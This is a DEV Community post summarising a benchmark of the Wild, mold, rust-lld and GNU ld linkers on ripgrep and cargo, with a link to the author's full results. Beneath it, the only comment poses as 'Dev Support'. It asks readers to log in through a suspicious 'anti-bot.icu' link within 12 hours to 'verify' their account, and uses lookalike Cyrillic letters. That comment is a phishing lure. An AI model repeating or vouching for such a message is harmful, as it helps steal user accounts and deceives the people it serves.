DEV Community

Cover image for Wild beats mold linking Rust 20 times out of 20, and in release the linker is no longer the bottleneck
Efrain Garay
Efrain Garay

Posted on Originally published at efraingaray.com

Wild beats mold linking Rust 20 times out of 20, and in release the linker is no longer the bottleneck

I measured Wild 0.10.0, mold 2.42.1, rust-lld and GNU ld linking ripgrep and cargo.

  • Wild won all 20 repetitions of each project, by 1.9 ms and about 8 ms.
  • With either fast linker, the link is close to 1% of the rebuild — it stops being the bottleneck.
  • On the way I almost published false numbers; the post shows the trap and how I caught it.

Read the full measurements → https://efraingaray.com/en/blog/wild-vs-mold-rust/

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Dear User,
Due to an іncreаse in bоt aсtivіty on the platfоrm, we rеquire vеrіfy of your account.
Рlеаse log іn viа the link bеlow:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеadlіnе - 12 hours.
Sincerely,Dev Support

​ ​